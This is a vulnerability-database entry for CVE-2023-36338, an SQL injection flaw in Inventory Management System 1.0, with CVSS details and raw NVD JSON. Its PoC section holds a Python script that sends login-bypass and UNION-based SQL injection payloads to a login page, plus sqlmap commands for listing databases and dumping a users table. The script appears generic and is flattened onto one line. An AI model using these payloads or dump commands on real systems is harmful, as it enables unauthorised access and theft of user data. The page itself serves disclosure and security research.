Security Vulnerability Report
中文
CVE-2023-36338 CVSS 5.3 MEDIUM

CVE-2023-36338

Published: 2025-12-15 21:15:48
Last Modified: 2025-12-18 22:32:48

Description

Inventory Management System 1 was discovered to contain a SQL injection vulnerability.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:inventory_management_system_project:inventory_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Inventory Management System 1.0 (未知具体受影响版本范围)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-36338 SQL Injection PoC # Target: Inventory Management System 1 # Vulnerability: SQL Injection in user input field import requests import sys target_url = "http://target.com/inventory/login.php" # Example endpoint # Basic SQL Injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' /*", "admin' --", "admin' #", "' UNION SELECT NULL--", "' UNION SELECT NULL,NULL--", "' UNION SELECT NULL,NULL,NULL--", "' AND 1=1--", "' AND 1=2--" ] def test_sql_injection(url, param_name="username"): print(f"[*] Testing SQL Injection on {url}") print(f"[*] Parameter: {param_name}") for payload in payloads: data = { param_name: payload, "password": "test" } try: response = requests.post(url, data=data, timeout=10) # Check for SQL error messages indicating vulnerability sql_error_indicators = [ "mysql", "sql", "syntax", "error", "warning", "mysql_fetch", "odbc", "microsoft sql", "postgresql", "oracle" ] response_text = response.text.lower() for indicator in sql_error_indicators: if indicator in response_text: print(f"[!] Potential SQL Injection found with payload: {payload}") print(f"[!] Error indicator: {indicator}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Basic tests completed. Use SQLMap for comprehensive testing.") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url) # SQLMap command for automated exploitation: # sqlmap -u "http://target.com/inventory/page.php?id=1" --dbs # sqlmap -u "http://target.com/inventory/page.php?id=1" -D database_name --tables # sqlmap -u "http://target.com/inventory/page.php?id=1" -D database_name -T users --dump

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-36338", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:48.060", "lastModified": "2025-12-18T22:32:48.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inventory Management System 1 was discovered to contain a SQL injection vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:inventory_management_system_project:inventory_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "BE3D9475-43F9-4544-973D-E5B41DDB2695"}]}]}], "references": [{"url": "https://gist.github.com/nguyenkhanhthuan/5294a28bb111f11da4b1f4f1bddf88c8", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/ThuanNguyen115685/Report/blob/main/SQLI.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}